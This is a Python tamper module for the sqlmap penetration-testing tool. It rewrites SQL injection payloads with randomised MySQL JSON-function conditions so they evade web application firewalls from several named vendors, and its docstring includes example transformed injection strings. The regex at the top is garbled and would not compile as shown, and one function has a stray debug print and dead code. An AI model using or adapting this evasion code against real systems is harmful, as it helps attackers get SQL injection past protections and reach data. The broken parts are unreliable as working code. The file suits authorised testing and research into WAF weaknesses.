#!/usr/bin/env python """ Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ # Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P \(?\'.*?(?=|=|like)(?P \(?\'.*?(?.*)" import re, random, string from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass # Possible int payloads: # 1) JSON_LENGTH() # 2) json_depth # 3) JSON_EXTRACT() def generate_int_payload(): INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload] return (random.choice(INT_FUNCTIONS))() # Possible STR payloads: # 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}'); # 2) JSON_EXTRACT # 3) JSON_QUOTE('null') def generate_str_payload(): print("generate_str_payload") STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload] return (random.choice(STR_FUNCTIONS))() return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\'' def generate_random_string(length=15): str_length = random.randint(1,length) return "".join(random.choice(string.ascii_letters) for i in range(str_length)) def generate_random_int(): return random.randint(2, 10000) def generate_length_payload(): return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}" def generate_depth_paylod(): return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}" def generate_quote_payload(): var = generate_random_string() return f"JSON_QUOTE('{var}') = '\"{var}\"'" def generate_int_extract_payload(): return generate_extract_payload(isString=False) def generate_str_extract_payload(): return generate_extract_payload(isString=True) def generate_extract_payload(isString=False): key = generate_random_string() if isString: value = generate_random_string() return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\'' value = generate_random_int() return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"' def generate_payload(isString, isBrackets): payload = '(' if isBrackets else "" if isString: payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it. else: payload += generate_int_payload() return payload def generate_random_payload(): if random.randint(0,1): return generate_str_payload() return generate_int_payload() def tamper(payload, **kwargs): """ Bypasses generic WAFs using JSON SQL Syntax. For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html Tested against: * MySQL v8.0 - however every version after v5.7.8 should work Usage: python3 sqlmap.py --tamper json_waf_bypass_mysql.py Notes: * References: * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774 * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments * JSON techniques were tested againts the following WAF vendors: * Amazon AWS ELB * CloudFlare * F5 BIG-IP * Palo-Alto Next Generation Firewall * Imperva Firewall * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads, depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type) Possible int payloads: 1) JSON_LENGTH() 2) json_depth 3) JSON_EXTRACT() Possible STR payloads: 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}'); 2) JSON_EXTRACT 3) JSON_QUOTE('null') >>> tamper("' and 5626=9709 and 'kqkk'='kqkk") ''' ' and 5626=9709 and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok ''' >>> tamper('and 4515=8950--') ''' and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" ''' """ payload = payload.replace(r'%20', " ") # retVal = payload if payload: match = re.search(pattern, payload) if match: pre = match.group('pre') # Is our payload is a string. isString = pre.startswith("'") isBrackets = pre.startswith("')") or pre.startswith(")") wafPayload = generate_payload(isString=isString, isBrackets=isBrackets) retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}" else: if payload.lower().startswith("' union"): wafPayload = generate_random_payload() retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select... return retVal